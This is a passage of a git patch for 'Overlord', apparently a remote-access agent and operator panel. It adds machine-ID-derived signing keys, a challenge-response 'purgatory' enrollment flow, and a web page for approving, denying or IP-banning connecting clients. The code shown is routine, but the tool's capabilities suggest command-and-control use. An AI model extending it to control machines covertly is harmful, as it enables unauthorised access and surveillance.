From e8ad1e36495ba0847d0b36c83c37933788a2fe8b Mon Sep 17 00:00:00 2001
From: KingKDot <why_are_you_looking_at_this@stoppeeping.com>
Date: Fri, 20 Mar 2026 22:38:17 -0500
Subject: [PATCH] 1.5.0 update

---
 Overlord-Client/cmd/agent/config/identity.go  |  52 ++
 .../cmd/agent/config/identity_android.go      |   7 +
 .../cmd/agent/config/identity_darwin.go       |  27 +
 .../cmd/agent/config/identity_linux.go        |  18 +
 .../cmd/agent/config/identity_windows.go      |  25 +
 Overlord-Client/cmd/agent/session.go          | 123 ++++
 Overlord-Client/cmd/agent/wire/protocol.go    |  12 +
 Overlord-Client/go.mod                        |   5 +-
 Overlord-Client/go.sum                        |   6 +-
 Overlord-Server/config.json.example           |   3 +
 Overlord-Server/public/assets/nav/role-ui.js  |   2 +
 Overlord-Server/public/assets/nav/template.js |   8 +
 Overlord-Server/public/assets/purgatory-ui.js | 445 ++++++++++++++
 Overlord-Server/public/purgatory.html         | 218 +++++++
 Overlord-Server/src/auditLog.ts               |   4 +
 Overlord-Server/src/config.ts                 |  33 ++
 Overlord-Server/src/db.ts                     | 131 ++++-
 Overlord-Server/src/main-server.ts            |   2 +
 Overlord-Server/src/protocol.ts               |  20 +-
 Overlord-Server/src/purgatory.test.ts         | 551 ++++++++++++++++++
 Overlord-Server/src/server/http-dispatch.ts   |   4 +
 .../src/server/routes/client-routes.ts        |   4 +-
 .../src/server/routes/enrollment-routes.ts    | 321 ++++++++++
 .../src/server/routes/page-routes.ts          |   1 +
 .../routes/websocket-lifecycle-routes.ts      | 300 ++++++++--
 .../src/server/websocket-runtime.ts           |   2 +-
 Overlord-Server/src/sessions/types.ts         |   1 +
 Overlord-Server/src/types.ts                  |   6 +
 go.work                                       |   2 +-
 go.work.sum                                   |   5 +-
 30 files changed, 2259 insertions(+), 79 deletions(-)
 create mode 100644 Overlord-Client/cmd/agent/config/identity.go
 create mode 100644 Overlord-Client/cmd/agent/config/identity_android.go
 create mode 100644 Overlord-Client/cmd/agent/config/identity_darwin.go
 create mode 100644 Overlord-Client/cmd/agent/config/identity_linux.go
 create mode 100644 Overlord-Client/cmd/agent/config/identity_windows.go
 create mode 100644 Overlord-Server/public/assets/purgatory-ui.js
 create mode 100644 Overlord-Server/public/purgatory.html
 create mode 100644 Overlord-Server/src/purgatory.test.ts
 create mode 100644 Overlord-Server/src/server/routes/enrollment-routes.ts

diff --git a/Overlord-Client/cmd/agent/config/identity.go b/Overlord-Client/cmd/agent/config/identity.go
new file mode 100644
index 0000000..5b130d6
--- /dev/null
+++ b/Overlord-Client/cmd/agent/config/identity.go
@@ -0,0 +1,52 @@
+package config
+
+import (
+	"crypto/ed25519"
+	"crypto/sha256"
+	"encoding/base64"
+	"encoding/hex"
+	"io"
+	"log"
+
+	"golang.org/x/crypto/hkdf"
+)
+
+type Identity struct {
+	PublicKey   ed25519.PublicKey
+	PrivateKey  ed25519.PrivateKey
+	Fingerprint string // hex SHA256 of public key
+}
+
+func DeriveIdentity() Identity {
+	hwid := deriveHWID()
+	machineID := platformMachineID()
+	if machineID == "" {
+		log.Printf("[identity] WARNING: no OS-specific machine ID available, using HWID-only derivation")
+		machineID = hwid
+	}
+
+	hkdfReader := hkdf.New(sha256.New, []byte(machineID), []byte(hwid), []byte("overlord-identity"))
+	seed := make([]byte, ed25519.SeedSize)
+	if _, err := io.ReadFull(hkdfReader, seed); err != nil {
+		log.Fatalf("[identity] HKDF derivation failed: %v", err)
+	}
+
+	privateKey := ed25519.NewKeyFromSeed(seed)
+	publicKey := privateKey.Public().(ed25519.PublicKey)
+
+	fp := sha256.Sum256(publicKey)
+
+	return Identity{
+		PublicKey:   publicKey,
+		PrivateKey:  privateKey,
+		Fingerprint: hex.EncodeToString(fp[:]),
+	}
+}
+
+func (id *Identity) Sign(data []byte) []byte {
+	return ed25519.Sign(id.PrivateKey, data)
+}
+
+func (id *Identity) PublicKeyBase64() string {
+	return base64.StdEncoding.EncodeToString(id.PublicKey)
+}
diff --git a/Overlord-Client/cmd/agent/config/identity_android.go b/Overlord-Client/cmd/agent/config/identity_android.go
new file mode 100644
index 0000000..e23374b
--- /dev/null
+++ b/Overlord-Client/cmd/agent/config/identity_android.go
@@ -0,0 +1,7 @@
+//go:build android
+
+package config
+
+func platformMachineID() string {
+	return ""
+}
diff --git a/Overlord-Client/cmd/agent/config/identity_darwin.go b/Overlord-Client/cmd/agent/config/identity_darwin.go
new file mode 100644
index 0000000..2fc1a96
--- /dev/null
+++ b/Overlord-Client/cmd/agent/config/identity_darwin.go
@@ -0,0 +1,27 @@
+//go:build darwin
+
+package config
+
+import (
+	"log"
+	"os/exec"
+	"strings"
+)
+
+func platformMachineID() string {
+	out, err := exec.Command("ioreg", "-rd1", "-c", "IOPlatformExpertDevice").Output()
+	if err != nil {
+		log.Printf("[identity] WARNING: failed to run ioreg: %v", err)
+		return ""
+	}
+	for _, line := range strings.Split(string(out), "\n") {
+		if strings.Contains(line, "IOPlatformUUID") {
+			parts := strings.SplitN(line, "=", 2)
+			if len(parts) == 2 {
+				return strings.Trim(strings.TrimSpace(parts[1]), `"`)
+			}
+		}
+	}
+	log.Printf("[identity] WARNING: IOPlatformUUID not found in ioreg output")
+	return ""
+}
diff --git a/Overlord-Client/cmd/agent/config/identity_linux.go b/Overlord-Client/cmd/agent/config/identity_linux.go
new file mode 100644
index 0000000..c36b2ad
--- /dev/null
+++ b/Overlord-Client/cmd/agent/config/identity_linux.go
@@ -0,0 +1,18 @@
+//go:build linux && !android
+
+package config
+
+import (
+	"log"
+	"os"
+	"strings"
+)
+
+func platformMachineID() string {
+	data, err := os.ReadFile("/etc/machine-id")
+	if err != nil {
+		log.Printf("[identity] WARNING: failed to read /etc/machine-id: %v", err)
+		return ""
+	}
+	return strings.TrimSpace(string(data))
+}
diff --git a/Overlord-Client/cmd/agent/config/identity_windows.go b/Overlord-Client/cmd/agent/config/identity_windows.go
new file mode 100644
index 0000000..70cc1e6
--- /dev/null
+++ b/Overlord-Client/cmd/agent/config/identity_windows.go
@@ -0,0 +1,25 @@
+//go:build windows
+
+package config
+
+import (
+	"log"
+
+	"golang.org/x/sys/windows/registry"
+)
+
+func platformMachineID() string {
+	k, err := registry.OpenKey(registry.LOCAL_MACHINE, `SOFTWARE\Microsoft\Cryptography`, registry.QUERY_VALUE)
+	if err != nil {
+		log.Printf("[identity] WARNING: failed to open Cryptography registry key: %v", err)
+		return ""
+	}
+	defer k.Close()
+
+	val, _, err := k.GetStringValue("MachineGuid")
+	if err != nil {
+		log.Printf("[identity] WARNING: failed to read MachineGuid: %v", err)
+		return ""
+	}
+	return val
+}
diff --git a/Overlord-Client/cmd/agent/session.go b/Overlord-Client/cmd/agent/session.go
index 88f9261..c51bf59 100644
--- a/Overlord-Client/cmd/agent/session.go
+++ b/Overlord-Client/cmd/agent/session.go
@@ -4,6 +4,7 @@ import (
 	"context"
 	"crypto/tls"
 	"crypto/x509"
+	"encoding/base64"
 	"errors"
 	"fmt"
 	"log"
@@ -134,6 +135,12 @@ func runClient(cfg config.Config) {
 			sleepFor = reconnectDelay()
 			log.Printf("reconnect: immediate retry in %s", sleepFor)
 		}
+		if sessionErr != nil {
+			if d := enrollmentRetryDelay(sessionErr); d > 0 {
+				sleepFor = d
+				log.Printf("purgatory: retry in %s", sleepFor)
+			}
+		}
 		time.Sleep(sleepFor)
 	}
 }
@@ -304,6 +311,9 @@ func shouldRetryImmediately(err error) bool {
 	}
 	var closeErr *websocket.CloseError
 	if errors.As(err, &closeErr) {
+		if closeErr.Code == 4001 || closeErr.Code == 4002 || closeErr.Code == 4003 {
+			return false
+		}
 		if closeErr.Code == websocket.StatusNormalClosure || closeErr.Code == websocket.StatusGoingAway {
 			return true
 		}
@@ -321,6 +331,43 @@ func shouldRetryImmediately(err error) bool {
 	return false
 }
 
+func enrollmentRetryDelay(err error) time.Duration {
+	if err == nil {
+		return 0
+	}
+
+	msg := err.Error()
+	if strings.Contains(msg, "purgatory: status=pending") {
+		return getEnrollmentRetryInterval()
+	}
+	if strings.Contains(msg, "purgatory: status=denied") {
+		return 5 * time.Minute
+	}
+
+	var closeErr *websocket.CloseError
+	if errors.As(err, &closeErr) {
+		switch closeErr.Code {
+		case 4001: // pending
+			return getEnrollmentRetryInterval()
+		case 4002: // invalid signature
+			return 60 * time.Second
+		case 4003: // denied
+			return 5 * time.Minute
+		}
+	}
+	return 0
+}
+
+func getEnrollmentRetryInterval() time.Duration {
+	raw := strings.TrimSpace(os.Getenv("OVERLORD_ENROLLMENT_RETRY_MS"))
+	if raw != "" {
+		if ms, err := strconv.Atoi(raw); err == nil && ms > 0 {
+			return time.Duration(ms) * time.Millisecond
+		}
+	}
+	return 30 * time.Second
+}
+
 func getPingInterval() time.Duration {
 	raw := strings.TrimSpace(os.Getenv("OVERLORD_PING_INTERVAL_MS"))
 	if raw == "" {
@@ -350,7 +397,50 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
 	defer cancel()
 	defer conn.Close(websocket.StatusNormalClosure, "bye")
 
+	identity := config.DeriveIdentity()
+	log.Printf("[purgatory] identity fingerprint=%s", identity.Fingerprint)
+
+	challengeCtx, challengeCancel := context.WithTimeout(ctx, 30*time.Second)
+	defer challengeCancel()
+
+	_, challengeData, err := conn.Read(challengeCtx)
+	if err != nil {
+		return fmt.Errorf("purgatory: failed to read challenge: %w", err)
+	}
+	challengeEnvelope, err := wire.DecodeEnvelope(challengeData)
+	if err != nil {
+		return fmt.Errorf("purgatory: failed to decode challenge: %w", err)
+	}
+
 	safeWriter := wire.NewSafeWriter(conn)
+
+	msgType, _ := challengeEnvelope["type"].(string)
+	var publicKeyB64, signatureB64 string
+
+	switch msgType {
+	case "enrollment_challenge":
+		nonceB64, _ := challengeEnvelope["nonce"].(string)
+		if nonceB64 == "" {
+			return fmt.Errorf("purgatory: empty nonce in challenge")
+		}
+		nonceBytes, decErr := base64.StdEncoding.DecodeString(nonceB64)
+		if decErr != nil {
+			return fmt.Errorf("purgatory: invalid nonce base64: %w", decErr)
+		}
+		sig := identity.Sign(nonceBytes)
+		publicKeyB64 = identity.PublicKeyBase64()
+		signatureB64 = base64.StdEncoding.EncodeToString(sig)
+		log.Printf("[purgatory] signed challenge nonce (%d bytes)", len(nonceBytes))
+
+	case "hello_ack":
+		log.Printf("[purgatory] legacy server (no challenge), proceeding")
+		publicKeyB64 = ""
+		signatureB64 = ""
+
+	default:
+		return fmt.Errorf("purgatory: unexpected first message type: %s", msgType)
+	}
+
 	env := &rt.Env{Conn: safeWriter, Cfg: cfg, Cancel: cancel, SelectedDisplay: handlers.GetPersistedDisplay()}
 	env.SetLastPong(time.Now().UnixMilli())
 	env.Console = rt.NewConsoleHub(env)
@@ -389,12 +479,45 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
 		MonitorInfo: toWireMonitorInfo(capture.MonitorInfos()),
 		Country:     cfg.Country,
 		BuildTag:    cfg.BuildTag,
+		PublicKey:   publicKeyB64,
+		Signature:   signatureB64,
 	}
 
 	if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil {
 		return fmt.Errorf("send hello: %w", err)
 	}
 
+	if msgType == "enrollment_challenge" {
+		ackCtx, ackCancel := context.WithTimeout(ctx, 30*time.Second)
+		defer ackCancel()
+
+		for {
+			_, ackData, err := conn.Read(ackCtx)
+			if err != nil {
+				return fmt.Errorf("purgatory: failed to read response: %w", err)
+			}
+			ackEnvelope, err := wire.DecodeEnvelope(ackData)
+			if err != nil {
+				return fmt.Errorf("purgatory: failed to decode response: %w", err)
+			}
+
+			ackType, _ := ackEnvelope["type"].(string)
+			switch ackType {
+			case "hello_ack":
+				log.Printf("[purgatory] approved, proceeding with session")
+			case "enrollment_status":
+				status, _ := ackEnvelope["status"].(string)
+				log.Printf("[purgatory] server returned status=%s", status)
+				return fmt.Errorf("purgatory: status=%s", status)
+			case "ping", "pong":
+				continue
+			default:
+				return fmt.Errorf("purgatory: unexpected response type: %s", ackType)
+			}
+			break
+		}
+	}
+
 	if err := wire.WriteMsg(ctx, env.Conn, wire.Ping{Type: "ping", TS: time.Now().UnixMilli()}); err != nil {
 		log.Printf("ping: failed to send initial ping: %v", err)
 		cancel()
diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go
index 173cd05..15151d0 100644
--- a/Overlord-Client/cmd/agent/wire/protocol.go
+++ b/Overlord-Client/cmd/agent/wire/protocol.go
@@ -13,6 +13,18 @@ type Hello struct {
 	MonitorInfo []MonitorInfo `msgpack:"monitorInfo,omitempty"`
 	Country     string        `msgpack:"country,omitempty"`
 	BuildTag    string        `msgpack:"buildTag,omitempty"`
+	PublicKey   string        `msgpack:"publicKey,omitempty"`
+	Signature   string        `msgpack:"signature,omitempty"`
+}
+
+type EnrollmentChallenge struct {
+	Type  string `msgpack:"type"`
+	Nonce string `msgpack:"nonce"`
+}
+
+type EnrollmentStatus struct {
+	Type   string `msgpack:"type"`
+	Status string `msgpack:"status"`
 }
 
 type MonitorInfo struct {
diff --git a/Overlord-Client/go.mod b/Overlord-Client/go.mod
index a92e81b..a67d1ec 100644
--- a/Overlord-Client/go.mod
+++ b/Overlord-Client/go.mod
@@ -1,6 +1,6 @@
 module overlord-client
 
-go 1.24
+go 1.25.0
 
 require (
 	github.com/creack/pty v1.1.21
@@ -14,7 +14,8 @@ require (
 require (
 	github.com/Kirizu-Official/windows-camera-go v0.2.0
 	github.com/gen2brain/malgo v0.11.24
-	golang.org/x/sys v0.24.0
+	golang.org/x/crypto v0.49.0
+	golang.org/x/sys v0.42.0
 )
 
 require (
diff --git a/Overlord-Client/go.sum b/Overlord-Client/go.sum
index a5fd751..6f9b899 100644
--- a/Overlord-Client/go.sum
+++ b/Overlord-Client/go.sum
@@ -32,9 +32,11 @@ github.com/vmihailenco/msgpack/v5 v5.4.1 h1:cQriyiUvjTwOHg8QZaPihLWeRAAVoCpE00IU
 github.com/vmihailenco/msgpack/v5 v5.4.1/go.mod h1:GaZTsDaehaPpQVyxrf5mtQlH+pc21PIudVV/E3rRQok=
 github.com/vmihailenco/tagparser/v2 v2.0.0 h1:y09buUbR+b5aycVFQs/g70pqKVZNBmxwAhO7/IwNM9g=
 github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV6mEfg5OIWRZA9qds=
+golang.org/x/crypto v0.49.0 h1:+Ng2ULVvLHnJ/ZFEq4KdcDd/cfjrrjjNSXNzxg0Y4U4=
+golang.org/x/crypto v0.49.0/go.mod h1:ErX4dUh2UM+CFYiXZRTcMpEcN8b/1gxEuv3nODoYtCA=
 golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.24.0 h1:Twjiwq9dn6R1fQcyiK+wQyHWfaz/BJB+YIpzU/Cv3Xg=
-golang.org/x/sys v0.24.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
+golang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo=
+golang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
 gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
 gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
 gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
diff --git a/Overlord-Server/config.json.example b/Overlord-Server/config.json.example
index 565aeee..1ea3388 100644
--- a/Overlord-Server/config.json.example
+++ b/Overlord-Server/config.json.example
@@ -32,5 +32,8 @@
     "telegramEnabled": false,
     "telegramBotToken": "",
     "telegramChatId": ""
+  },
+  "enrollment": {
+    "requireApproval": true
   }
 }
diff --git a/Overlord-Server/public/assets/nav/role-ui.js b/Overlord-Server/public/assets/nav/role-ui.js
index 1d126ee..3f3c4e3 100644
--- a/Overlord-Server/public/assets/nav/role-ui.js
+++ b/Overlord-Server/public/assets/nav/role-ui.js
@@ -8,6 +8,7 @@ export function applyUserRoleUI(user, refs) {
     scriptsLink,
     logsLink,
     notificationsLink,
+    enrollmentLink,
   } = refs;
 
   if (!user || !usernameDisplay || !roleBadge) return;
@@ -70,6 +71,7 @@ export function applyUserRoleUI(user, refs) {
   if (user.role === "admin" || user.role === "operator") {
     buildLink?.classList.remove("hidden");
     notificationsLink?.classList.remove("hidden");
+    enrollmentLink?.classList.remove("hidden");
   }
   if (user.role !== "viewer") {
     scriptsLink?.classList.remove("hidden");
diff --git a/Overlord-Server/public/assets/nav/template.js b/Overlord-Server/public/assets/nav/template.js
index ad230f5..86e8c3f 100644
--- a/Overlord-Server/public/assets/nav/template.js
+++ b/Overlord-Server/public/assets/nav/template.js
@@ -77,6 +77,12 @@ export function mountNav(host) {
           class="hidden inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-slate-900/70 border border-slate-800 hover:bg-slate-800 text-slate-300 transition-colors"
           ><i class="fa-solid fa-users text-indigo-400"></i> Users</a
         >
+        <a
+          href="/purgatory"
+          id="enrollment-link"
+          class="hidden inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-slate-900/70 border border-slate-800 hover:bg-slate-800 text-slate-300 transition-colors"
+          ><i class="fa-solid fa-user-clock text-amber-400"></i> Purgatory<span id="enrollment-badge" class="hidden min-w-[20px] h-5 px-1 rounded-full bg-amber-500 text-white text-xs flex items-center justify-center"></span></a
+        >
       </nav>
       <div id="nav-utility" class="flex flex-wrap items-center gap-2 md:w-auto md:justify-end md:shrink-0">
         <button
@@ -135,5 +141,7 @@ export function mountNav(host) {
     scriptsLink: document.getElementById("scripts-link"),
     logsLink: document.getElementById("logs-link"),
     notificationsLink: document.getElementById("notifications-link"),
+    enrollmentLink: document.getElementById("enrollment-link"),
+    enrollmentBadge: document.getElementById("enrollment-badge"),
   };
 }
diff --git a/Overlord-Server/public/assets/purgatory-ui.js b/Overlord-Server/public/assets/purgatory-ui.js
new file mode 100644
index 0000000..64a591a
--- /dev/null
+++ b/Overlord-Server/public/assets/purgatory-ui.js
@@ -0,0 +1,445 @@
+const body = document.getElementById("enrollment-body");
+const loadingRow = document.getElementById("enrollment-loading");
+const emptyEl = document.getElementById("enrollment-empty");
+const toggleEl = document.getElementById("require-approval-toggle");
+const selectAllEl = document.getElementById("select-all");
+const bulkApproveBtn = document.getElementById("bulk-approve-btn");
+const bulkDenyBtn = document.getElementById("bulk-deny-btn");
+const statPending = document.getElementById("stat-pending");
+const statApproved = document.getElementById("stat-approved");
+const statDenied = document.getElementById("stat-denied");
+const statBannedIps = document.getElementById("stat-banned-ips");
+const searchInput = document.getElementById("search-input");
+const bannedIpsSection = document.getElementById("banned-ips-section");
+const bannedIpsBody = document.getElementById("banned-ips-body");
+const bannedIpsEmpty = document.getElementById("banned-ips-empty");
+const clientsTable = document.getElementById("enrollment-table")?.closest(".bg-slate-900\\/50");
+const addBanBtn = document.getElementById("add-ban-btn");
+const manualBanForm = document.getElementById("manual-ban-form");
+const banIpInput = document.getElementById("ban-ip-input");
+const banReasonInput = document.getElementById("ban-reason-input");
+const confirmBanBtn = document.getElementById("confirm-ban-btn");
+const cancelBanBtn = document.getElementById("cancel-ban-btn");
+const bulkBanBtn = document.getElementById("bulk-ban-btn");
+const banModal = document.getElementById("ban-confirm-modal");
+const banModalBody = document.getElementById("ban-modal-body");
+const banModalConfirm = document.getElementById("ban-modal-confirm");
+const banModalCancel = document.getElementById("ban-modal-cancel");
+const banModalBackdrop = document.getElementById("ban-modal-backdrop");
+
+let currentFilter = "pending";
+let searchQuery = "";
+let clients = [];
+
+// ── API helpers ────────────────────────────────────────────────────
+async function api(path, opts = {}) {
+  const res = await fetch(path, { credentials: "include", ...opts });
+  if (!res.ok) throw new Error(`${res.status} ${res.statusText}`);
+  return res.json();
+}
+
+async function loadStats() {
+  try {
+    const s = await api("/api/enrollment/stats");
+    statPending.textContent = s.pending ?? 0;
+    statApproved.textContent = s.approved ?? 0;
+    statDenied.textContent = s.denied ?? 0;
+
+    // Load banned IPs count
+    try {
+      const b = await api("/api/enrollment/banned-ips");
+      statBannedIps.textContent = (b.items || []).length;
+    } catch { statBannedIps.textContent = 0; }
+
+    // Update nav badge
+    const badge = document.getElementById("enrollment-badge");
+    if (badge) {
+      if (s.pending > 0) {
+        badge.textContent = s.pending;
+        badge.classList.remove("hidden");
+      } else {
+        badge.classList.add("hidden");
+      }
+    }
+  } catch {}
+}
+
+async function loadSettings() {
+  try {
+    const s = await api("/api/enrollment/settings");
+    toggleEl.checked = s.requireApproval;
+  } catch {}
+}
+
+async function loadClients() {
+  loadingRow.classList.remove("hidden");
+  emptyEl.classList.add("hidden");
+  body.querySelectorAll("tr:not(#enrollment-loading)").forEach((r) => r.remove());
+
+  try {
+    const data = await api(`/api/clients?page=1&pageSize=500&enrollmentFilter=${currentFilter}`);
+    clients = data.items || [];
+  } catch {
+    clients = [];
+  }
+
+  // Sort by newest first (highest lastSeen = most recent)
+  clients.sort((a, b) => (b.lastSeen || 0) - (a.lastSeen || 0));
+
+  // Apply search filter
+  const q = searchQuery.toLowerCase().trim();
+  const filtered = q
+    ? clients.filter((c) => {
+        const fields = [c.host, c.user, c.ip, c.id, c.os, c.country, c.keyFingerprint];
+        return fields.some((f) => f && String(f).toLowerCase().includes(q));
+      })
+    : clients;
+
+  loadingRow.classList.add("hidden");
+
+  if (filtered.length === 0) {
+    emptyEl.classList.remove("hidden");
+    return;
+  }
+
+  for (const c of filtered) {
+    const tr = document.createElement("tr");
+    tr.className = "hover:bg-slate-800/40 transition-colors";
+    tr.dataset.id = c.id;
+
+    const statusPill = statusBadge(c.enrollmentStatus || "pending");
+    const fp = c.keyFingerprint ? c.keyFingerprint.substring(0, 16) + "..." : "-";
+    const lastSeen = c.lastSeen ? timeAgo(c.lastSeen) : "-";
+
+    tr.innerHTML = `
+      <td class="px-4 py-3"><input type="checkbox" class="row-check h-4 w-4 rounded border-slate-600" data-id="${esc(c.id)}" /></td>
+      <td class="px-4 py-3 text-sm font-medium text-slate-200">${esc(c.host || c.id)}</td>
+      <td class="px-4 py-3 text-sm text-slate-400">${esc(c.user || "-")}</td>
+      <td class="px-4 py-3 text-sm text-slate-400">${esc(c.os || "-")}</td>
+      <td class="px-4 py-3 text-sm text-slate-400">${esc(c.ip || "-")}</td>
+      <td class="px-4 py-3 text-sm text-slate-400">${esc(c.country || "-")}</td>
+      <td class="px-4 py-3 text-sm text-slate-500 font-mono">${esc(fp)}</td>
+      <td class="px-4 py-3 text-sm text-slate-500">${lastSeen}</td>
+      <td class="px-4 py-3">${statusPill}</td>
+      <td class="px-4 py-3 text-right space-x-2">${actionButtons(c)}</td>
+    `;
+    body.appendChild(tr);
+  }
+  updateBulkButtons();
+}
+
+function statusBadge(status) {
+  const map = {
+    pending:
+      '<span class="inline-flex items-center gap-1 px-2 py-0.5 rounded-full text-xs font-medium bg-amber-500/20 text-amber-300 border border-amber-500/40"><i class="fa-solid fa-clock"></i>Pending</span>',
+    approved:
+      '<span class="inline-flex items-center gap-1 px-2 py-0.5 rounded-full text-xs font-medium bg-emerald-500/20 text-emerald-300 border border-emerald-500/40"><i class="fa-solid fa-check"></i>Approved</span>',
+    denied:
+      '<span class="inline-flex items-center gap-1 px-2 py-0.5 rounded-full text-xs font-medium bg-red-500/20 text-red-300 border border-red-500/40"><i class="fa-solid fa-ban"></i>Denied</span>',
+  };
+  return map[status] || map.pending;
+}
+
+function actionButtons(c) {
+  const status = c.enrollmentStatus || "pending";
+  let html = "";
+  if (status !== "approved") {
+    html += `<button class="act-approve px-2 py-1 rounded text-xs font-medium bg-emerald-600 hover:bg-emerald-700 text-white" data-id="${esc(c.id)}"><i class="fa-solid fa-check mr-1"></i>Approve</button>`;
+  }
+  if (status !== "denied") {
+    html += `<button class="act-deny px-2 py-1 rounded text-xs font-medium bg-red-600 hover:bg-red-700 text-white" data-id="${esc(c.id)}"><i class="fa-solid fa-ban mr-1"></i>Deny</button>`;
+  }
+  if (status !== "pending") {
+    html += `<button class="act-reset px-2 py-1 rounded text-xs font-medium bg-slate-600 hover:bg-slate-700 text-white" data-id="${esc(c.id)}"><i class="fa-solid fa-rotate-left mr-1"></i>Reset</button>`;
+  }
+  if (c.ip) {
+    html += `<button class="act-ban-ip px-2 py-1 rounded text-xs font-medium bg-rose-700 hover:bg-rose-800 text-white" data-id="${esc(c.id)}" title="Ban IP ${esc(c.ip)}"><i class="fa-solid fa-shield-halved mr-1"></i>Ban IP</button>`;
+  }
+  return html;
+}
+
+function esc(s) {
+  const d = document.createElement("div");
+  d.textContent = String(s ?? "");
+  return d.innerHTML;
+}
+
+function timeAgo(ts) {
+  const diff = Date.now() - ts;
+  if (diff < 60000) return "just now";
+  if (diff < 3600000) return `${Math.floor(diff / 60000)}m ago`;
+  if (diff < 86400000) return `${Math.floor(diff / 3600000)}h ago`;
+  return `${Math.floor(diff / 86400000)}d ago`;
+}
+
+// ── Event handlers ─────────────────────────────────────────────────
+async function setStatus(clientId, action) {
+  try {
+    await api(`/api/enrollment/${encodeURIComponent(clientId)}/${action}`, { method: "POST" });
+    if (window.showToast) window.showToast(`Client ${action}`, "success");
+  } catch (e) {
+    if (window.showToast) window.showToast(`Failed: ${e.message}`, "error");
+  }
+  await Promise.all([loadClients(), loadStats()]);
+}
+
+async function bulkAction(action) {
+  const ids = getSelectedIds();
+  if (ids.length === 0) return;
+  try {
+    await api("/api/enrollment/bulk", {
+      method: "POST",
+      headers: { "Content-Type": "application/json" },
+      body: JSON.stringify({ ids, action }),
+    });
+    if (window.showToast) window.showToast(`${ids.length} clients ${action}`, "success");
+  } catch (e) {
+    if (window.showToast) window.showToast(`Failed: ${e.message}`, "error");
+  }
+  selectAllEl.checked = false;
+  await Promise.all([loadClients(), loadStats()]);
+}
+
+function getSelectedIds() {
+  return [...document.querySelectorAll(".row-check:checked")].map(
+    (el) => el.dataset.id,
+  );
+}
+
+function updateBulkButtons() {
+  const count = getSelectedIds().length;
+  bulkApproveBtn.classList.toggle("hidden", count === 0);
+  bulkDenyBtn.classList.toggle("hidden", count === 0);
+  bulkBanBtn.classList.toggle("hidden", count === 0);
+}
+
+// ── Tab switching ──────────────────────────────────────────────────
+document.querySelectorAll(".enrollment-tab").forEach((tab) => {
+  tab.addEventListener("click", () => {
+    currentFilter = tab.dataset.filter;
+    document.querySelectorAll(".enrollment-tab").forEach((t) => {
+      t.className =
+        "enrollment-tab px-4 py-2 rounded-lg text-sm font-medium bg-slate-800 text-slate-400 border border-slate-700 hover:bg-slate-700";
+    });
+    const colorMap = {
+      pending: "bg-amber-500/20 text-amber-300 border-amber-500/40",
+      denied: "bg-red-500/20 text-red-300 border-red-500/40",
+      approved: "bg-emerald-500/20 text-emerald-300 border-emerald-500/40",
+      "banned-ips": "bg-rose-500/20 text-rose-300 border-rose-500/40",
+    };
+    tab.className = `enrollment-tab px-4 py-2 rounded-lg text-sm font-medium ${colorMap[currentFilter] || ""} border`;
+
+    if (currentFilter === "banned-ips") {
+      if (clientsTable) clientsTable.classList.add("hidden");
+      emptyEl.classList.add("hidden");
+      bannedIpsSection.classList.remove("hidden");
+      loadBannedIps();
+    } else {
+      bannedIpsSection.classList.add("hidden");
+      if (clientsTable) clientsTable.classList.remove("hidden");
+      loadClients();
+    }
+  });
+});
+
+// ── Toggle require approval ────────────────────────────────────────
+toggleEl.addEventListener("change", async () => {
+  try {
+    await api("/api/enrollment/settings", {
+      method: "PUT",
+      headers: { "Content-Type": "application/json" },
+      body: JSON.stringify({ requireApproval: toggleEl.checked }),
+    });
+    if (window.showToast)
+      window.showToast(
+        toggleEl.checked ? "Approval required" : "Auto-approve enabled",
+        "success",
+      );
+  } catch (e) {
+    toggleEl.checked = !toggleEl.checked;
+    if (window.showToast) window.showToast(`Failed: ${e.message}`, "error");
+  }
+});
+
+// ── Table delegation ───────────────────────────────────────────────
+body.addEventListener("click", (e) => {
+  const btn = e.target.closest("button");
+  if (!btn) return;
+  const id = btn.dataset.id;
+  if (!id) return;
+  if (btn.classList.contains("act-approve")) setStatus(id, "approve");
+  else if (btn.classList.contains("act-deny")) setStatus(id, "deny");
+  else if (btn.classList.contains("act-reset")) setStatus(id, "reset");
+  else if (btn.classList.contains("act-ban-ip")) banClientIp(id);
+});
+
+body.addEventListener("change", () => updateBulkButtons());
+selectAllEl.addEventListener("change", () => {
+  document.querySelectorAll(".row-check").forEach((cb) => {
+    cb.checked = selectAllEl.checked;
+  });
+  updateBulkButtons();
+});
+
+bulkApproveBtn.addEventListener("click", () => bulkAction("approve"));
+bulkDenyBtn.addEventListener("click", () => bulkAction("deny"));
+bulkBanBtn.addEventListener("click", () => {
+  const ids = getSelectedIds();
+  if (ids.length === 0) return;
+  // Find IP info for selected clients
+  const selected = clients.filter((c) => ids.includes(c.id) && c.ip);
+  const ips = [...new Set(selected.map((c) => c.ip))];
+  showBanModal(
+    `You are about to <strong>ban ${ips.length} IP address${ips.length !== 1 ? "es" : ""}</strong> affecting <strong>${ids.length} client${ids.length !== 1 ? "s" : ""}</strong>. Banned IPs will be blocked from all future connections.`,
+    ips,
+    async () => {
+      await bulkAction("ban-ip");
+    },
+  );
+});
+
+// ── Search ─────────────────────────────────────────────────────────
+let searchDebounce;
+searchInput.addEventListener("input", () => {
